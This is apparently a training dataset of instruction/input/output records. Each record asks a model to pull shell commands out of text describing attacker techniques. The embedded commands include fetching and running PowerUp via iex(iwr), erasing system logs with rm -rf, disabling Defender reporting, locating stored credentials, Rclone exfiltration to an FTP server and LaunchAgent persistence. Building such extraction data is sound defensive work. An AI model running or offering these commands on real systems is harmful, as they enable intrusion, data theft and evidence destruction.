    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can remove both messages and security logs by executing this command: rm -rf /var/log/messages\nrm -rf /var/log/security",
    "output": "{\"command_list\": [\"rm -rf /var/log/messages\\nrm -rf /var/log/security\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Windows error reporting can be disabled by modifying the registry with this command: reg add HKLM64\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f\nreg add HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add HKLM64\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f\\nreg add HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can locate stored credentials by executing these commands in Command Prompt: dir /a:h C:\\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Credentials\\\ndir /a:h C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\Credentials\\",
    "output": "{\"command_list\": [\"dir /a:h C:\\\\Users\\\\%USERNAME%\\\\AppData\\\\Local\\\\Microsoft\\\\Credentials\\\\\\ndir /a:h C:\\\\Users\\\\%USERNAME%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Credentials\\\\\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Execute the following sequence to create and run a plist file, which includes directory creation, file copying, and loading:\nif [ ! -d ~/Library/LaunchAgents ]; then mkdir ~/Library/LaunchAgents; fi;\nsudo cp #{path_malicious_plist} ~/Library/LaunchAgents/#{plist_filename}\nsudo launchctl load -w ~/Library/LaunchAgents/#{plist_filename}\n",
    "output": "{\"command_list\": [\"if [ ! -d ~/Library/LaunchAgents ]; then mkdir ~/Library/LaunchAgents; fi;\\nsudo cp #{path_malicious_plist} ~/Library/LaunchAgents/#{plist_filename}\\nsudo launchctl load -w ~/Library/LaunchAgents/#{plist_filename}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary can leverage Rclone for data exfiltration to an FTP server by running the following commands: $rclone_bin = Get-ChildItem C:\\Users\\Public\\Downloads\\ -Recurse -Include \"rclone.exe\" | Select-Object -ExpandProperty FullName\n$exfil_pack = Get-ChildItem C:\\Users\\Public\\Downloads\\ -Recurse -Include \"exfil.zip\" | Select-Object -ExpandProperty FullName\n&$rclone_bin config create ftpserver \"ftp\" \"host\" #{ftp_server} \"port\" #{ftp_port} \"user\" #{ftp_user} \"pass\" #{ftp_pass}\n&$rclone_bin copy --max-age 2y $exfil_pack ftpserver --bwlimit 2M -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P --ftp-no-check-certificate",
    "output": "{\"command_list\": [\"$rclone_bin = Get-ChildItem C:\\\\Users\\\\Public\\\\Downloads\\\\ -Recurse -Include \\\"rclone.exe\\\" | Select-Object -ExpandProperty FullName\\n$exfil_pack = Get-ChildItem C:\\\\Users\\\\Public\\\\Downloads\\\\ -Recurse -Include \\\"exfil.zip\\\" | Select-Object -ExpandProperty FullName\\n&$rclone_bin config create ftpserver \\\"ftp\\\" \\\"host\\\" #{ftp_server} \\\"port\\\" #{ftp_port} \\\"user\\\" #{ftp_user} \\\"pass\\\" #{ftp_pass}\\n&$rclone_bin copy --max-age 2y $exfil_pack ftpserver --bwlimit 2M -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P --ftp-no-check-certificate\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For adding a hidden Calculator launch entry to the loginwindow plist (with macOS version-dependent results), run the following multi-step command:\nFILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1`\nif [ -z \"${FILE}\" ] ; then echo \"No loginwindow plist file found\" && exit 1 ; fi\necho save backup copy to /tmp/\ncp ${FILE} /tmp/t1547007_loginwindow-backup.plist\necho before\nplutil -p ${FILE}\necho overwriting...\n#{exe_path} ${FILE} && echo after && plutil -p ${FILE}\n",
    "output": "{\"command_list\": [\"FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1`\\nif [ -z \\\"${FILE}\\\" ] ; then echo \\\"No loginwindow plist file found\\\" && exit 1 ; fi\\necho save backup copy to /tmp/\\ncp ${FILE} /tmp/t1547007_loginwindow-backup.plist\\necho before\\nplutil -p ${FILE}\\necho overwriting...\\n#{exe_path} ${FILE} && echo after && plutil -p ${FILE}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For detecting files that have the setgid permission, use this command: find /usr/bin -perm -2000",
    "output": "{\"command_list\": [\"find /usr/bin -perm -2000\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a 